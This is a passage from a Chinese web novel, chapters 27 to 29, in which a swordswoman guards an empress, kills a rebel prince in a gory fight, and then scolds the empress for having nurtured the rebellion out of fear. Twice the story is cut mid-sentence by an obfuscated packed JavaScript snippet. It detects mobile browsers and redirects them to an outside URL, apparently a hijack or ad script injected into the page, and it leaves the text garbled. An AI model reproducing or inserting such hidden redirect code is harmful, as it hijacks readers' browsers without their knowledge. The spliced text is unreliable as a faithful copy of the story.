傅水伤便继续发呆。而危鸣晨也只是看着前太男,收起笑意,恢复了平常淡漠的样子,“朕占到了,东扶也的确是朕的了。如何呢?” “肖献南。” “如何?”肖献南似是有些怒意,“自然是物归原主了!” 他好似要一声令下,让一众男兵围攻上来。傅水伤便把游移的目光收回,微微抬刀。 可那些人向前几步,刀剑几乎已能触碰到危鸣晨的马车,却又停了下来。 “死到临头竟也没被吓哭,鸣晨是长大了啊。”肖献南大约是认定自己胜券在握,想与她们玩些猫捉耗子的游戏。他又突然笑起来,斜睨着危鸣晨,“当年我把灵晖尸身送回郡王府时,你可是哭傻了吧?” 危鸣晨并未说话,但她扶着车身的手微微收紧了。肖献南没错过她一闪而逝的恐慌,又笑道:“你听说灵晖从边关回来,开开心心地等着,却等来一具尸体——” “——而你也很快要变成尸体。和灵晖一样。”他话锋一转,又说起了别的,“你难道不奇怪你的马车为何突然失控,甩开其她人,只带你一人到我面前吗?” “你一个野种,根本不配做皇帝。哪有人信服于你?连朱向明都与你决裂,你身边全都是我的人,一举一动我都知道。她们亲手把你送过来,她们都知道,我才是东扶的王。我想杀你只需一声令下——” 危鸣晨只是看着他。 她身下马车的确是忽然失控跑开,失控瞬间速度极快,轻功上好的侍卫都无法追上。赵得真原本在她身边,可马车很快进入一片黑暗之中。她仿佛独自在黑暗中走了几百年之久,再见光明时,便已停在了此处,而身边空无一人,又有一支箭射来炸碎她的马车,让她狼狈地出现在肖献南面前。 她理应恐惧而慌乱。 “——就像当年杀灵晖时那样。我只需说一句话,她就得乖乖回来受死。” 周围刀剑继续向前,离危鸣晨已不过几寸距离。他们一层又一层地围着,教坐在其中的危鸣晨看起来孤立无助。 “你这般窃国之贼可别想痛痛快快的死了,我会慢慢折磨你,打断你全身……” “你想让我害怕,是吗?”危鸣晨忽然开口,将他说了半截的话打断,“你以为我害怕了,便会吓得跪地哭喊求饶——像你当年面对郡王时那样。如此你在郡王那里丢的脸面便能找回来了。” “我不怕你。”危鸣晨又道,“郡王更不怕。” “当年郡王已快要将扶摇彻底击碎,你们这些缩在京都的废物却害怕她掌控扶摇后便能自立为王,逼迫郡王回京。郡王方到京郊,又令第三营偷袭。将她关入牢狱,要在宫中秘密处决。” “可郡王自己出了狱。她杀了看守的第三营首领,孤身闯入龙泉殿,把等待她死讯的人杀了大半。最后那一剑给了你。 “只可惜强弩之末,稍微偏了一些,倒让你被救活了。” “我不会信你们鬼话,说什么郡王毫无反抗之力,被杀前在老皇帝面前忏悔,痛哭说只愿来世做一个乖巧柔顺的好女儿——你们真编的出来。” “即使未亲眼所见,我也知道一切。你倒是真的跪下痛哭忏悔了,郡王站在你面前,你就吓尿了裤子。被郡王一剑穿胸,昏迷了大半个月。” “你当然不知道郡王是自己走回郡王府的,无一人敢拦她。”危鸣晨竟是笑了起来,“我也并没有哭。” 她看着肖献南,道:“我不怕你。我会杀了你。” 肖献南脸色微变。他终于不再说话,只挥手教围拢的男兵动手。 傅水伤也终于不用发呆了。 她每听这男的说一句话,都忍不住想要抓着危鸣晨问她,“我们为什么要听他说话?我们直接把他杀了不行么?” 她忍得太幸苦了,她要奖励奖励她自己。 那些男兵挥刀过来,傅水伤便将最前一排人的脑袋全砍了,等着后面的人排队来送死。 而肖献南好似才终于看到危鸣晨身旁还有个人一般,极惊诧地看着她。他却很快松懈下来,并不把傅水伤当回事。 他想这人再厉害,也不可能敌得过千挑万选出来的百人精锐。何况他自己手下也有高手,绝不会输于危鸣晨的人。 他看向原本在战车近旁、要拿下傅水伤的男人。这人的确是有着不错的身手,与其它人配合,竟是很快地便让傅水伤受了伤。 除了赵得真那两箭,傅水伤今日可还完全没受过伤。她便也看向了那男人。 她怎么看也不觉得这人能胜过自己,而他打过来的招式也的确一般。她分明应当能轻松躲避,可临到眼前,却又不知如何便被他所伤。傅水伤还击之时,又无论如何也不能碰到他分毫。 肖献南看见,便安下了心。他又继续接着方才的话,道:“你见到灵晖的尸首也不哭,那想来是高高兴兴笑着出傢去了。” “倒不知你那时年仅十四,是怎么哄得扶摇王子放了你,让你找到了朱向明——看来你是很有天赋了……” 傅水伤正向那男人砍了一刀,照旧地未能碰到,反被他在肩上刺了一剑。她后退一步去看肖献南,不由得想这身居高位的太男竟和第三营那些他口中的贱民全然一致,一张嘴就放屁传谣。 她避开眼前的男人,随手挑了颗脑袋砸到肖献南面前。 肖献南显然是被吓了一跳。他好不容易极力忍住了惊呼,又看向傅水伤,“这侍卫对你倒是忠心——你又是怎么让他忠心于你的?” “你说什么要为灵晖复仇,可连第三营也不敢杀,还盼着他们忠心于你。”肖献南嘲笑起来,“朝堂上后宫里都离不开男人,还是乖乖去做后非吧!” 傅水伤还未曾在这里开口说话,他显然是把傅水伤当成了男的。 她怎么想也觉得这真是前所未有的奇耻大辱,她这辈子都没有被人当成过男的。 傅水伤便忍不住轻轻踢了下危鸣晨的脚,让她说话。 举刀打架的事她做了,嘴上打架总该让危鸣晨来——危鸣晨总不能坐着什么也不干吧? 危鸣晨却先皱着眉看她一眼,好似对她极为不满。她倒还知道这种时候不需要对傅水伤彰显她的皇帝威严,便也没理她,只对肖献南道:“你倒是会以己度人。” “你年少时去镇国军混军功,初到时恰逢敌袭落了单,被不知你身份的男兵用了用。看来是回味无穷,时时都想着。” 傅水伤以为她不过是在胡编 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15102496|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱造,以其人之道还治其人之身。可她看见肖献南一下子气得面红耳赤,竟好似确有其事一般。 “天呐,真可怜啊。”傅水伤忍不住心疼地笑出了声,“居然有这种事。” “陛下,这是不是该编入故事里给东扶孩子们讲一讲,告诉男孩们千万要洁身自好,可别不知廉耻地往家门外跑。” 肖献南瞪着她,不知是震惊于她是女人,还是单纯地因她的话而生气。他又很快扫了眼旁的人,见所有男兵都只顾着去对付傅水伤,并未有人看他,他面色才稍微好了一些。 傅水伤却又立刻对那持剑袭来的男人说:“你听到你们太男殿下的秘密了,恐怕事后要被灭口。不若你投降,我饶你一命?” 男人并未回答,只趁着其它人暂且困住傅水伤的刹那,又上前偷袭。 他身后肖献南咬了咬牙,勉强压下先前的情绪,放起了狠话,“我有仙尊相助,你们便等着受死吧。落到我手里了,我一定把你们凌迟,一片片割下来,一百零八刀一刀不少!” 危鸣晨并未理他,她此时看着傅水伤,见她身上伤口越来越多,难免微微蹙眉。 “别想着你们那仙尊了——她不过是个骗子。”肖献南以为她们尚在等着叶边舟来救,才如此镇静,便又笑道,“我看你们生下来就在东扶,这辈子也从未出去过。井底之蛙,根本便不知天照宗是什么样的门派,她们的少主又是怎么样的人物——哪怕你们将整个东扶献给她,她多看一眼恐怕也只觉浪费时间。你们竟真的觉得自己能请到那位少宗主?” 他说得笃定,教傅水伤都要怀疑起来了。她想叶边舟的确是脾气很好,和她们走在一起时也简直就像是一个普通人,她从未见过叶边舟施展法力,更不见她被冒犯时有丝毫生气。 ——她要是有法力能无视凡俗律法的话,恐怕哪个人多看她一眼让她不高兴了,她都要立即把人杀了。 危鸣晨倒像是同样笃定她请来的是真的天照宗少主。她只淡淡瞥肖献南一眼,道:“等叶仙尊将你那仙尊杀死在你面前,你便知道是真是假了。” 她说完又抬头看向傅水伤,以几乎微不可察的声音,道:“把那人引到我身边来。” 那声音太低了,傅水伤也并未完全听清。她只能大致猜了猜,便忽地跳到肖献南身边,好似要孤注一掷突袭杀他。 持剑男人果然便去相救,傅水伤转身给他一刀,依旧是未能打中,反被他一剑刺在腿上。 身后男兵亦趁机去围攻危鸣晨,傅水伤便又匆匆赶回去。她想方才那男人早已多次来过危鸣晨的马车旁,那危鸣晨所说的“引他过来”,应当是需要更近一些。她便踉跄一下半跪在地,直接靠在了危鸣晨身上。 那男人乘胜追击。他举起剑来,想要先将傅水伤解决了,再去杀危鸣晨。 他此时离二人极近,一只脚甚至已踩在了危鸣晨的衣角上。危鸣晨便忽地拔出一把匕首来,用力插进了男人腹部。 根本没人料到她会出手,更不可能料到她速度这样快。连近在咫尺的傅水伤都没能看清她是如何出手的,她甚至都没看到她那把匕首究竟是从哪里掏出来的。 傅水伤自然也不会浪费时间去多想,她迅速地从下向上砍了一刀,却还是未能砍中,那男人再次逃回了肖献南身边。 他依旧能站着,似乎并无大碍。傅水伤以为白费功夫,失望道:“没伤到要害。” “嗯。”危鸣晨只是轻轻点头。 而她点头的片刻,那男人腹部的伤口竟是以肉眼可见的速度溃烂扩大。他像是被放了根烛芯在伤口上点燃,整个人都如蜡烛一般,慢慢融化。 直到彻底化为一摊血水。从战车上滴落在地。 28.断刀 “执玉的毒的确是好用。”那血水还在一滴滴落着,危鸣晨却已不再多看一眼。只带着些许笑意,看向肖献南。 肖献南紧紧抓着腿上的衣服。他周围男兵显然也被这可怕毒药吓到了,一时间竟全都停了动作,万分不安地去看肖献南。 只有傅水伤还在看那滩血水。她前不久才知道丘执玉会毒,却也还未亲眼见过她用毒杀人。如今总算是见识到了。 危鸣晨还握着那匕首,刀尖离她不过几寸距离。她便默默跪直,离远了一些。她还觉得不够保险,直接站起来走到马车边缘,甚至还主动去夸了危鸣晨一句,“你出手很快。比我快多了。” “遇见郡王之前是做扒手的,手自然要快。”危鸣晨看她一眼,似是奇怪她为何要离得那么远,一面解释说,“否则让人抓到,便该被打死了。” 但她原本倒也并不准备动手,丘执玉给的毒只要距离足够近了,不必接触便能下药。她只是见人近在眼前,实在没忍住要捅一刀试试。 看来她还没有生疏。 傅水伤不明白她为何要给自己解释,她根本不想知道皇帝甚至都不和先皇一个姓氏、还曾做过小偷这种事。听完只觉自己离被灭口又近了一步。 她低头盯着危鸣晨手里的匕首,很想问一问自己刚刚离得那样近,危鸣晨到底有没有趁机给自己也下点毒。 ——什么必须每日服解药,一旦不听她的话没能得到当日的解药,便只能惨死之类的…… 危鸣晨不知她心中所想,已重新看向了肖献南。她随意摆弄着手里的匕首,令它在手间翻飞。而她仿佛一点也不担心剧毒的刀刃会不慎划伤她自己,只看着肖献南,带着些微不可察的笑意,“到你了。” “你当年求灵晖郡王看在姐弟一场的份上,饶你一命。郡王已被你们伤透了心,自然不肯。朕倒还不一样,朕一向对你们都十分敬重。”她又将自称换回了“朕”,便好似瞬间不一样了起来。坐在木屑碎片中也好似坐在龙泉殿上,“你当年怎样求郡王的,也那样求一求朕,朕便只将你关在京都王府中,你关起门来还能做个快活王。如何?” 肖献南没有说话。那融化在他面前的男人显然是把他吓到了,他极力镇定下来,却也只不过冷冷地看着危鸣晨。 危鸣晨便轻轻抬手。傅水伤会意,提起刀来,把旁边还在等待指示的男兵砍作了两半。 她一个个砍过去。没了那怪异男人阻碍,其余这些人轻飘飘的招式,甚至连她身上的盔甲也不能穿透。她挡都不挡了,切瓜砍菜一般地杀出一片空地来。 上百人杀起来总还是需要时间的。她初时尚有些警惕——那远不如自己的男人能伤到自己,身形怪异,自然是有他们那仙尊相助。傅水伤总怕那仙尊要突然跳出来,瞬时扭转战局,警觉中速度便更慢了一些。 而她身后的危鸣晨只静静看着肖献南。她二人都坐着不动,隔着人群遥遥对视。战局至少也要再持续半个时辰,她们便陷入长久的僵持。 危鸣晨还在摆弄着手中匕首,她偶尔会看一看周围,好似在等待着什么——她只等到杀着杀着就把什么都忘了的傅水伤。 她甚至都忘了身后还有一个危鸣晨需要她护驾,直接就将人丢在了那里,杀出一条路来,站在了肖献南面前。 肖献南却是暗喜。 他看到危鸣晨身旁的男兵乘机而上,而她不得不拿起匕首去抵抗。她多少是跟着灵晖郡王学过一些,总算没有被一刀砍死——可再多几刀便说不定了。她用毒也不过是丘执玉临时教的,离得稍远便无法发挥。 果然她们那“叶边舟”是假的,不似他,来时便被莫仙尊加了防护在身。他早已用旁人试过,刀枪不入、百毒不侵。 何况莫仙尊即使不在,也依旧能看到此处,在他耳边说出只有他能听到的话,“他死了你便上,怕什么,快些将危鸣晨杀了!” 莫仙尊说这危鸣晨身上有些东西,令她无法进入宫中。而她需要那东西。 只要危鸣晨一死,仙尊便能即刻进来,一剑将宫中所有不服他的人全杀了。 无论死多少部下——哪怕全死了也无所谓。只要他活着,他那时再重新招兵买马,东扶终究是他的。 肖献南不免要笑起来,等着欣赏危鸣晨去死的间隙,也不忘用余光去看傅水伤,想要得意地看到傅水伤对他无可奈何的模样。 他却被傅水伤吓得一呆,连笑容都僵住了。 傅水伤正举着刀,她眼中是她自己都不能察觉的恨意。肖献南是更从未见过这么深的仇恨,他一时简直要怀疑是死了的灵晖从地狱爬了回来,要向他复仇。 即便他笃定傅水伤无法伤到自己,可看着她那眼睛,也不免心慌胆颤。他忽地把身前一个男兵推到傅水伤刀下,又控制不住地大喊:“去救危鸣晨!危鸣晨可快死了!” 那男兵被一刀砍杀,血全落在肖献南身上。傅水伤倒也总算记起了危鸣晨,立刻转身去帮她。 但她忽而暴躁起来,那些人围过来,一个接一个,她杀都杀烦了。她只想快些去把肖献南杀了,可危鸣晨又实在没有自保之力,她离不开。 她简直想要给危鸣晨一脚踢回到龙泉殿上去。 危鸣晨倒是一副闲散的样子,她依旧坐在那里,只是呼吸微重,还静静地看着肖献南。 傅水伤更烦了。她忽便挑破眼前男兵的衣裳,将他盔甲剥落,竟是徒手挖出他心脏,高举着捏碎。 鲜血落了满地,仿佛仍在跳动。傅水伤便轻轻叹息,“你们觉得你们能杀我?” 她甩了甩手上的脏东西,不知甩在了谁的脸上,“还是快逃命去吧。” 她简直像是修罗恶鬼,可叹息时却又带着说不清道不明的悲悯。所有人都停下了动作。 所有人都看向她。 “快走吧。”傅水伤扫了他们一眼,那眼神竟好似十分慈爱,不愿他们白白送死一般。他们便克制不住地想要听话,又莫名地站在原地不敢动弹。 所有人被定住似的一动不动,而片刻后,那被她甩了一脸血肉的男兵率先丢下兵器,慢慢地后退。见她果真没有追来,又忽地转身去拼命逃跑。 其它人面面相觑。他们并非是未曾见过更为血腥可怕的场景,这对他们不过寻常,恐怕他们自己也这么做过。可他们此时却莫名发抖,犹豫片刻,尽皆逃命去了。 傅水伤又抬头去看肖献南。 “都给我回来!”肖献南亦是微微发抖,不知是害怕还是恼怒,“否则待仙尊来了,让她将你们碎尸万段!” 自然没有人理他。 碍事的东西都不在了,傅水伤便再次走过去。她举起刀来就要往肖献南脑袋上砍。可危鸣晨却又出声阻止。 “等一等。” “等什么?”傅水伤回头看她。 她那眼神好似是要把阻拦她的危鸣晨也一同杀了一般。危鸣晨亦有些心惊,却也还坚持道:“等一等。” 她向四周扫了一圈。这里一时间寂静无声,仿佛已被彻底遗忘。她却好像还在等着什么东西出现。 而肖献南耳边又再次传来了声音,“你究竟在怕什么?她们伤不到你。” “把危鸣晨杀了,让我进宫。” 肖献南便咬了咬牙,忽然连滚带爬地下了战车。他到了危鸣晨边上,扶着她的马车跪在一旁,如当年对灵晖郡王一般,哭喊道:“鸣晨!我求你了,求你看在兄妹一场的份上饶我一命,我求你行了吧……你说过我求你,你只把我关在京都王府……” 危鸣晨垂眼看着她。她手中匕首此时安分地待在掌心,而她一言不发。 肖献南求得更卖力了。傅水伤便以为她让自己等一等,便是想看这个。她勉强耐心地让危鸣晨欣赏够了,便又举起刀来。 可肖献南哭喊间离危鸣晨越来越近,他忽地把身旁的刀捡起,向着危鸣晨刺去,“你去死吧!” 他相信傅水伤伤不到他,便看都没看傅水伤一眼。那刀锋看着便要碰到危鸣晨了,他笑得几乎狰狞了起来。 但傅水伤只不过轻轻挥刀,便将他整条手臂砍了下来。 他却好似对“被刀砍便会受伤”这样的事极为惊诧一般,不敢置信地看着地上的手臂。甚至忘了痛呼。 好久他才反应过来,捂着手臂企图堵住喷涌的鲜血,一边后退一边大喊:“仙尊!仙尊救我!莫仙尊!” 傅水伤立刻握着刀向四周看去。她却并没有看见什么仙尊,便又问危鸣晨,“能杀了么?” “仙尊!仙尊!仙尊在么……”肖献南还在慌张地喊着,可他再未能听到丝毫回应。而他的手臂的的确确地被砍了下来,根本便没有任何神迹来保护他。 他才终于真的害怕起来了。危鸣晨坐在他面前,低头看着他,教他更为恐惧。他又在此时听见傅水伤问话,便慌不择路,忽对傅水伤道:“你杀我做什么?你应该杀危鸣晨!” 这话一出,他似乎是觉得自己又有了活路。危鸣晨不过也只能坐在那里指挥,只要傅水伤叛变了,死得也只能是她,“你跟着危鸣晨有什么好处?到死也不过是个侍卫!你今日还知道了她根本便不是皇室血脉,她岂能留你?” “你现在杀了危鸣晨!杀了她,我让你做皇……” 傅水伤被他的喊叫声弄得烦躁不已,她用刀尖抵着肖献南的肩,把人推远了一些,一面挑眉问:“让我做皇帝?” “……让你做皇后!”肖献南与她同时开了口。他似乎并未听到傅水伤的话,自顾自不断说着,“危鸣晨能让你万人之上吗?能让你的孩子登基为帝么?你杀了她,我便封你做皇后,我们的孩子便是太子……” 傅水伤:“……” 傅水伤简直都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她站在那里,低头看着,不知在想些什么。一阵风吹起来,秋日黄叶簌簌地落着。 傅水伤忽然说:“我的刀断了。” “嗯。” 危鸣晨回过神来。她不知为何有些低落,似乎还带着些恼怒。她把手中半截刀重重扔在地上,好像突然有满腔怒火无处发泄。 明明人都死了,傅水伤不知道她在做什么。她更不知道危鸣晨对自己的刀是有什么意见,颇有些心疼地看了一眼,又道:“我用了五年都好好的,你一用就断了。” 这下危鸣晨终于看向了她。可她并没有什么反应,更不曾说什么。 傅水伤难免失望。 这么大一个皇帝,总不能连一把刀都赔不起吧? “这刀是我一位前辈送我的,我特别喜欢特别珍惜。”危鸣晨就那么静静看着她,她也不尴尬,自己继续说着,“刀是刀客的灵魂,是刀客最好的朋友、最亲的爱人,是我唯一的……” “想讹多少,”危鸣晨终于听不下去了,她总算开了口,声音温和地道,“直接说。” 傅水伤便直接说了,“还我一把刀就行。要好刀——如果能去你的库房里随便挑就更好了。” “让阿澈带你去。”危鸣晨道,“现在给朕闭嘴。” 傅水伤满意地闭了嘴。她也去看地上身首异处的肖献南,看着看着,便又有了些奇怪的感觉。 她依旧说不上来那感觉是什么,但这之中并没有不安,她便只是扶着危鸣晨,道:“走吧。” “我来时听到肖献南那仙尊说要杀你,现在却也不见人。这里算不上安全,我们快些去找叶边舟。” 马受了伤跪在地上无法站起,傅水伤便将危鸣晨扶了下去。她还是没忍住去检查了一下肖献南的脸,确定那脸上并没有易容,的确是他自己,便不禁道:“我们杀他是不是杀得太容易了一些?” 她以为肖献南该有更多谋划才是。可什么都没有,就这么被杀了。一切都太顺利,让人忍不住要觉得还有什么后手在。 危鸣晨却说:“本来就该这么容易的。” 她顿了片刻,又道:“本来应该更容易的。” 傅水伤不明白她的意思。但这里最好还是不要多待,她并没有问,扶着危鸣晨慢慢走着。 危鸣晨便终于从肖献南身上移开目光。她一半重量都靠在傅水伤身上,走得一瘸一拐。 傅水伤看得都费劲,直接把人背了起来。 路上七零八落的尸体挡着,傅水伤怕被绊倒了,低头看着。脏东西实在很多,她要小心避开。但她心里那奇怪的感觉却是渐渐明晰。 而她终于想起来那是什么了。 29.蠢 “太蠢了。”傅水伤知道奇怪在哪里了。 这些人全都太蠢了。 固然男的天生就蠢,可也不该蠢到这种地步,成千上万人竟是凑不出一个脑子。 第三营首领罗里吧嗦连话都说不清楚,士兵更是散漫懈怠,今日这般重要的日子也是擅离职守,还未开始作战就已在享受幻想中的胜利,不去皇宫,反而去欺负阿阳。 镇国军里的男兵明知军中女人居多,更知道自己与肖献南勾结。可朱向明将他们一个不落地调入京都,他们竟全都没有丝毫怀疑。 肖献南就更厉害了。虽说单论方才的场景,他准备的也算是充分。一百来个全副武装的男兵对付危鸣晨一人,甚至是设法让危鸣晨自己跑到他面前,也不知是如何令其她人全都不曾来寻找。 可他那句“封你做皇后”实在是暴露了蠢相,他那时要是说“危鸣晨能做皇帝你也能”,傅水伤说不准还真要心动一下。 更何况他就带着这么一群蠢货来了,自己亦是未察觉丝毫不妥。他竟完全没有只属于他自己的势力,只不过到了京都,带上一群原本分散在各军里、此前从未配合过的乌合之众,加上一个全然没起什么作用的仙尊,就敢直接入宫来,然后死在危鸣晨刀下。 太蠢了。 傅水伤仔细想想,也能明白这些人蠢成这样,应是危鸣晨她们故意为之。如赵得真所说,即便危鸣晨不告诉她真相,只令她不准对第三营出手,她也自能阳奉阴违,让第三营只留一群废物。那朱向明她们自然也能。 更奇怪的便来了。 一个蠢货带着一群蠢货,又到底怎么能声势浩大地造这个反——他们根本便没有丝毫谋划的能力。 她总觉得奇怪,是因为她心中觉得蠢成这样,压根儿就不该有本事出现在皇宫里。 与其说是他们造反,不如说是朱向明与赵得真“造反”,而他们不过是跟着朱赵二人,趁机乱打一气。朱向明是听了危鸣晨的命令…… ……不。不奇怪了。 傅水伤忽然全都想通了。她忍不住叹气,想要回头去看危鸣晨。可危鸣晨趴在她背上,她不能看见,便又继续叹气。 “怎么了?”那叹气声太大了,简直就是故意叹给危鸣晨听的。危鸣晨便开口问了。 傅水伤把她刚才所想的简略一说。而她感到危鸣晨的手微微收紧,扣在她的肩甲上,压着她肩上的伤口。 “嘶——”傅水伤疼得倒吸凉气,她把危鸣晨的手移开,咬牙道,“你想抓东西便抓你自己的腿,往你那伤口上抓。” 危鸣晨便将手轻轻放在她背上,低头看着她。她沉默片刻,说:“你腿上也受了伤,为什么你还能走?” “我又不是你,这点小伤而已。”傅水伤又想回头看她。她再次叹气,勉强让自己的语气稍微恭敬那么一点点,才道,“反正你又不用走路,疼的是我,你不用问这些。陛下,你得回答我上一个问题——” “——这些蠢货,到底是怎么能打入京都、打进皇宫来的?” 危鸣晨又沉默了。她看起来并不怎么愿意回答,好一会儿之后,才开了口,“连你都能看出来。” “难怪即使我把一切计划都告诉了朱将军,朱将军也只是不情不愿地配合。她是真的对我失望,龙泉殿上骂我那几句简直真情流露——她的确认为我是个废物。” “把‘连’和‘都’去掉,”傅水伤不满地说,“我难道很蠢吗?” “你不蠢。”危鸣晨似乎是笑了一下。她又很快低落起来,闭了闭眼,才道,“我蠢。” “我其实……我竟然害怕肖献南。” “他那时的确是只手遮天,的确是一句话落下,便有无数人去帮他谋害郡王。郡王也的确不得不听他的话回到京都——即使明知有陷阱。” “郡王是我所见之人中最为强大的。无论武功谋略、胆识气魄,都无人能及。我以为能将她打败的,至少也不会输于她。” “所以当年肖献南逃走,我到处找不到他,我便总以为他在养精蓄锐。扶摇王室仍在东扶南方那一带活动,我想他若是联合了那些势力,真反扑过来也说不定——我一直相信他有那样的能力。” “我害怕失去他的消息,让他彻底蛰伏到暗处。等哪一天他突然带大军归来,我也完全不知,更无法有所准备。所以我留着第三营、留着京都卫军里的男兵、留着东扶所有的先皇旧臣。我想他绝不肯放弃这些人的,有他们在,我多少能探查到肖献南的动向,不至于一无所知。” 傅水伤想起她不久前一些怪异举动,便问:“你刚才一直在到处张望,好像在等着什么——你在等肖献南那不存在的‘大军’吗?” “……是。”危鸣晨好似不愿承认,她轻声道,“我料到我可能会落单,即使没有你,我也不会只是坐着等死。我一直没有动作,只是以为他总该还有一支暂未出现的军队,眼前这些轻易就能杀死的不过是打头阵的炮灰。我最后的招数,总要用在最艰难的时刻……” “可他根本没有。他这种蠢货,扶摇王室根本不会与他合作。”傅水伤又接话了。她想了想,不愿再和危鸣晨说这些避着主题的绕话,她直接挑明了,“而他能有今日这力量来造反,全然就是因为你。” “他所有的依仗也就是你留下的那些先皇旧臣与男兵。如果你这些年直接将他们慢慢除去,肖献南根本便无人可用。他再想造反,也只不过孤身一人在扶摇荒野里想一想。他也根本不可能遇见那什么莫仙尊,如今一切全都不会发生。” “你实在想杀他,还不如假装死了,让池之澈演一演群龙无首无可奈何,为了稳定局势只好到处去找先皇血脉来继位——他半点脑子也没有,一定要忍不住来看看自己有没有机会。那样可更好杀了……” 她说到这里,忽想起了危鸣晨方才那句“本来应该更简单的”。她想危鸣晨其实也明白了,便只道:“可你害怕,你选择顺着他造反的心,帮他养兵,捧着那些烂蛆。五年间不知道耗费了多少财力,挤走了多少本该属于女人的位置。” “你终于帮他把军队养起来了,还要帮他制造机会,帮他与军队联络,帮他打进宫里来,帮他伤害我们。” “因为你相信他强大至极,你必须要用这种方法掌控他的动向才能安心。你甚至不相信自己能打败他,沧海一粟地去找那能开启阵法的皇室血脉,才敢放心地将他引入皇宫。” “——如果你一辈子没能找到,又或者他不曾遇见那莫仙尊信心大涨,一辈子胆小如鼠不敢动弹。你是不是永远都要害怕肖献南而不敢对第三营出手,就要让他们逍遥快活一辈子?” 危鸣晨并不说话。她想她应当不至于蠢一辈子,可她到底也蠢了五年,别说旁人,她自己都对自己极为生气。 “你不是不认识他,你少年时该见过他的蠢相。”傅水伤便又叹气,“从来都不是他强大得令你恐惧,是你的恐惧令他强大。” “我从前在幻尘海边学刀,教我们刀法的师母只教给女人,想要她们学会自保,更学会主动出击。”她又说起了些仿佛毫不相干的事,“那时就总有几个老登在旁边说,学了有什么用,女人力气小,拿了刀也不过是激怒歹徒,反而更受伤害。还不如学会配合歹徒,乖乖听话少受些苦。” “好在没人听他们的。大家拿起刀来,便都知道根本没人会不长眼来挑着她们打。反而她们从前不敢拿刀时,才真是谁见了都要来踩一脚。”傅水伤说,“你倒好了,你一害怕,不仅自己放下了刀,乖乖配合肖献南,你还要逼所有人都跟着你把刀放下。” “你害怕你幻想中的事——你出手了,他隐藏到暗处,更不可捉摸了。就像那些人希望的,女人害怕激怒男人而不敢反抗,然后他们便能为所欲为了。” 傅水伤不住叹气,“我都不知道后世该怎么写这段历史了,我恐怕她们想要把废物两字写上去。” 危鸣晨终于说话了,“你想骂我可以直接骂,何必说什么后世。” 她难道在乎什么死后声名么。 傅水伤从善如流。她说:“你个废物东西。” 危鸣晨:“……” 她没想到傅水伤真的敢骂。而她想这的确是她不对,便也只道:“是我的错。我不会再犯这样的错——” 说完却又浑身不舒适。她不知为何,听到傅水伤叹气,便总觉得有一些紧张,像是小时候犯了错被灵晖郡王逮个正着一般。 她不喜欢这种感觉。灵晖郡王也就算了,可傅水伤又不是郡王。 “——但这和你有什么关系?”危鸣晨便话锋一转,用指尖轻轻敲着傅水伤的肩甲,“你以什么身份和朕说这些话?” 她好歹做了这么多年皇帝,想要威严起来时便也足够有气势。 傅水伤便想自己确实是有些嚣张了,毕竟是皇帝,她或许是该客气一些。她便轻轻耸肩,“那我不说了,行了吧?” 总算结局还算好的,虽说平添不少麻烦,该死的东西也全都死了。危鸣晨也并不是蠢,只不过思虑太多,总想要万无一失,又把敌人想象的过于强大了。 至少她是真心想要杀光那些烂蛆,看起来也是极为自责了。傅水伤便不再说什么。 她们安静下来。傅水伤专注地盯着地面,避免踩到些会爆浆的奇怪东西。而她又听见危鸣晨开口。 “朕其实挺喜欢你的。”危鸣晨声音又温和起来,“第一次见时便觉得似曾相识……” “微臣感觉到了。”傅水伤随口接话,“陛下喜欢到一见面就让微臣下跪——丘大人说其她人都不用跪,只有微臣有此殊荣。” 危鸣晨实在很不喜欢她这怪腔怪调的语气,她哽了一下,更温和地说:“你没有官职在身,应该自称虜才。下次可别说错了。” “知道了。”傅水伤语气比她还要温和,“一会儿我就割了你脑袋扔在路边,然后跪你面前大喊‘虜才该死,虜才救驾来迟’。跪着喊三天三夜。怎么样?” 危鸣晨:“……” 她刚刚才把匕首放回绑在腿上的刀鞘里,她现在又想拔出来了。 她好不容易忍住了,没理她,继续去说原本的话,“……朕梦到过你。梦里你与朕交手,打在了朕的腿上。朕跪在地上半晌无法起身,你却还在一旁嘲笑。” “只是梦而已。”傅水伤听明白她的意思,道,“陛下连梦里的仇都要报?” 危鸣晨低头看着她,“的确只是梦。” 她也并不是报仇。梦中她们像是关系极好,傅水伤也只是与她切磋时不慎打在她腿上。她跪地的姿势有些滑稽,傅水伤便在旁边笑。笑够了才去扶她。而她便无奈地与傅水伤说:“……别笑了。你明日最好不要进宫,不然我一定要教你跪着和我说话。” “可朕是在仙尊到达东扶的那一日梦见你的。”危鸣晨想着那场景,道,“朕那时还未见过你。” “朕记性很好,朕确信在那之前也从未见过你。” 那倒是奇怪了。傅水伤也不记 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“不过郡王曾救过我一个妹妹。”她睁着眼说瞎话,“不到十岁的时候被郡王救了,后来一直跟着郡王。郡王死后又跟着陛下,甚至随陛下去了扶摇,在扶摇走失,再也没回来。” 危鸣晨听着,便问:“需要朕派人去寻她么?” 根本不存在的人,当然不需要。傅水伤便摇头,“前些时候见过她,她在扶摇好好的。” “那她叫什么名字?” “傅风平。”傅水伤随口说了她娘的名字。她只能想起来这一个姓傅的,她想她娘也不介意给她当一下妹妹。 “嗯。”危鸣晨点了点头,却又忽然说,“根本便没有这个人。傅风平是你母亲的名字。” “你怎么知……怎么胡说呢?”傅水伤简直以为她会读心了。她有些惊讶,却还在嘴硬。 危鸣晨解释,“五十多年前,尘海里风浪四起,船只遭难,沿海也总遇飓风。那时海边出生的孩子,多叫‘风平’、‘破浪’……,那正该是你母亲出生的时候。” 